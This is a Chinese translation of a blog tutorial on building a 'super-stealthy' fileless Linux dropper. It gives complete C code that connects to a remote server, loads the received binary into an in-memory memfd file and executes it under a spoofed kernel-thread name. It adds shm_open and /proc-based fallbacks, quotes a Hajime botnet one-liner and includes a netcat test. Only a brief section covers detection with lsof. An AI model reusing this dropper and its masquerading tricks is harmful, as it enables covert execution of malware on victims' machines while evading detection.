linux一种无文件后门技巧(译文)

1
原文链接:<https://0x00sec.org/t/super-stealthy-droppers/3715>

TL;DR

  • 几周之前我看了这篇文章,介绍的是不使用ptrace来进行linux进程注入的(使用ptrace进行进程注入的文章可以看向这里linux进程注入),这篇文章很有意思建议你读一下,但引起我关注是的文末的一句话

    1
    The current payload in use is a simple open/memfd_create/sendfile/fexecve program
  • 我之前没有听过memfd_create和fexecve…就是这里引发了我的好奇,我决定学习和研究一下。

  • 这篇文章我们将要讨论一下怎么利用这两个函数来开发一个超级隐蔽的dropper,你可以认为这是一个恶意软件开发的教程,但是开发和发布恶意软件是违法的:),此文仅做教学使用,因为最终恶意软件分析师需要去了解恶意软件开发者是怎么利用的,好让我们能更好的去检测它,从而使我们系统更加的安全。

    memfd_create 和 fexecve

  • 当读完这句有意思的话之后,我google了这两个函数,我发现功能确实强大,第一个允许我们在内存中创建一个文件,我们之前讨论过这个话题,之前我们是使用/dev/shm来存放的文件,这个文件夹存放在内存中,我们写在这里的东西都不会保存到硬盘上,然而,我们还是可以通过ls看到它。
  • memfd_create 能做同样的事情,但是它在内存中的存储并不会被映射到文件系统中,因此不能简单的通过ls命令进行查看。
  • 第二个函数,fexecve同样的功能很强大,它能使我们执行一个程序(同execve),但是传递给这个函数的是文件描述符,而不是文件的绝对路径,也就是说搭配起来memfd_create使用简直完美!
  • 但是这里有一个需要注意的地方就是,因为这两个函数相对的比较新,memfd_create 是在kernel3.17才被引进来,fexecve是libc的一个函数,是在版本2.3.2之后才有的,当然没有fexecve的时候,我们也可以使用其它方式去取代它(后面会讨论),而memfd_create只能用在相对较新的linux内核系统上。
  • 这意味着至少在现在,这个技巧在一些运行着老内核和没有libc的嵌入式设备上是不可行的,我没有测试一些路由器和安卓设备上是否存在fexecve函数,我觉得是没有的,如有人知道,请在评论处告知;)

    一个简单的dropper

  • 为了了解这两个函数是怎么工作的,我写了一个简单的dropper,这个dropper可以下载远程服务器上的二进制文件并且直接在内存中运行,不会存储在磁盘上。
  • 在这之前,我们先来看看之前文章中讨论过的Hajime这个例子,这个例子使用了一行shell命令来创建一个文件(‘继承‘了另外一个文件的可执行权限)并且执行它然后再删除它。如果你不想打开链接,我之前把这行shell搬过来
    1
    cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI

我们将要创建一个新的.s,一旦执行,将会达到执行类型上面一行shell同样的效果。

  • 让我们先来看一下这个代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    #include <stdio.h>
    #include <stdlib.h>

    #include <sys/syscall.h>

    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>

    #define __NR_memfd_create 319
    #define MFD_CLOEXEC 1

    static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
    }

    extern char **environ;

    int main (int argc, char **argv) {
    int fd, s;
    unsigned long addr = 0x0100007f11110002;
    char *args[2]= {"[kworker/u!0]", NULL};
    char buf[1024];

    // Connect
    if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1);
    if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1);
    if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1);

    while (1) {
    if ((read (s, buf, 1024) ) <= 0) break;
    write (fd, buf, 1024);
    }
    close (s);

    if (fexecve (fd, args, environ) < 0) exit (1);

    return 0;

    }
  • 代码很短也很简单,但是这里有几个点需要稍微介绍一下。

    调用memfd_create

  • 第一个要介绍的就是,libc并没有对memfd_create这个系统调用进行封装(你可以在这里看到这个系统调用的相关信息memfd_create manpage’s NOTES section),这就意味着我们需要自己去封装一下。
  • 首先我们需要找到memfd_create在系统调用中的索引,通过一些在线的系统调用表,这个索引在不同的架构下是不同的,如果你想将上面的代码应用在ARM和MIPS上,可能需要不同的索引,在X86_64系统架构下的索引是319.
  • 我使用了libc的syscall去对memfd_create进行了简单封装。
  • 这个程序主要做了下面的事情
  • 1.创建了一个TCP socket
  • 2,使用AF_INET连接了127.0.0.1的0x1111端口,我们可以把这些所有的打包到一个变量里面这样可以使我们的代码看起来更短一点儿,同样你也可以去修改成你想要的ip和端口。

    1
    2
    3
    4
    addr = 01 00 00  7f   1111  0002;
    1. 0. 0.127 1111 0002;
    +------------+------+----
    IP Address | Port | Family
  • 3.创建一个内存文件

  • 4.从socket读取数据写入到内存文件
  • 5.一旦文件传输完毕,运行内存文件
  • 是不是很简单粗暴;)

    测试

  • 现在,让我们来测试一下,通过main函数里面那个long的变量我们知道,这个dropper将会去连接本地localhost(127.0.0.1)的0x1111端口,这里我们简单的使用nc模拟一个server。
  • 在控制台我们运行下面的命令:

    1
    $ cat /usr/bin/xeyes | nc -l $((0x1111))
  • 你可以选择任意你喜欢的二进制文件,我这里用的是xeyes(一个小眼睛会跟踪鼠标的移动)这个linux自带的小程序。在另外的一个命令行界面我们运行我们的dropper,这个时候xeyes会弹出来。

    检测这个dropper

  • 查找这个进程比较困难,因为我们给这个进程起了一个kworker/u!0这样的名字,注意!在这里只是为了快速的去发现它,当然在实际情况中,你可以使用一个具有迷惑性的名字,比如说什么so的进程名来让它看起来像是个内核的合法进程,让我们来看一下ps的输出

    1
    2
    3
    4
    5
    $ ps axe
    (...)
    2126 ? S 0:00 [kworker/0:0]
    2214 pts/0 S+ 0:00 [kworker/u!0]
    (...)
  • 你可以看到上面的一行中是一个合法的kworker进程,下面的就是我们的看似合法的进程。

    看不见的文件

  • 我们之前提到的memfd_create 将会在RAM文件系统中创建文件且不会映射到一般的文件系统,至少,如果映射了,我是没找到,所以现在看来这的确是相当隐蔽的。
  • 然而,事实上,如果一个文件存在,那么我们还是可以去发现它的,谁会去调用这个文件呢,没错,我们可以通过lsof(list of file)去查找:)到它
  • 注意lsof同样可以会显示出进程id,所以我们之前用的伪装的进程名在这个时候也就没有用了。

    如果系统中没有memfd_open不存在呢

  • 我之前提到过memfd_open只是存在于内核在3.17或者更高的版本中,那在其它的版本中该怎么办,这种情况下我们可以使用另外一种没那么猥琐但是可以达到同样效果的方法。
  • 我们最好的方式是使用shm_open(shared memory open),这个函数会在/dev/shm文件夹下创建文件,然而,这个使用ls命令是可以看的到的,但是至少还是避免了写文件到磁盘了,shm_open和open的区别仅仅是不是在/dev/shm创建文件。
  • 使用shm_open去修改这个dropper我们需要去做两件事情
  • 1.首先我们需要去使用shm_open去代替memfd_create像是这样

    1
    2
    3
    (...)
    if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1);
    (...)
  • 2.第二件事情就是我们需要关闭这个文件,然后去重新打开是为了能够通过fexecve去执行它,所以在while接收完文件之后我们需要关闭文件,然后重启新开文件:

    1
    2
    3
    4
    5
    (...)
    close (fd);

    if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1);
    (...)
  • 这个时候我们完全可以使用execve去替代fexecve去达到同样的效果。

    那如果fexecve不存在呢

  • 当你知道fexecve是怎么工作的,这个就很简单,怎么去知道这个函数是怎么工作的,google一下看看源代码,man page有一个提示:

    1
    2
    NOTES
    On Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and available at the time of the call.
  • 所以fexecve需要系统存在/proc的目录。让我们看看能不能自己实现一下。我们知道每个进程在虚拟目录proc下都有一个数字文件目录与之相对,所以这个时候,我们可以基本上使用下面的封装函数来实现fexecve的功能:

    1
    2
    3
    4
    5
    6
    7
    8
    int
    my_fexecve (int fd, char **arg, char **env) {
    char fname[1024];

    snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd);
    execve (fname, arg, env);
    return 0;
    }

小结

  • 读完这篇文章,你应该了解了之前提到的open/memfdcreate/sendfile/fexecve这几个函数。
  • 这篇文章中作者是以打开xeye程序为示例,那么你有其它猥琐的利用场景吗 ;P

    Reference

  • Super-Stealthy Droppers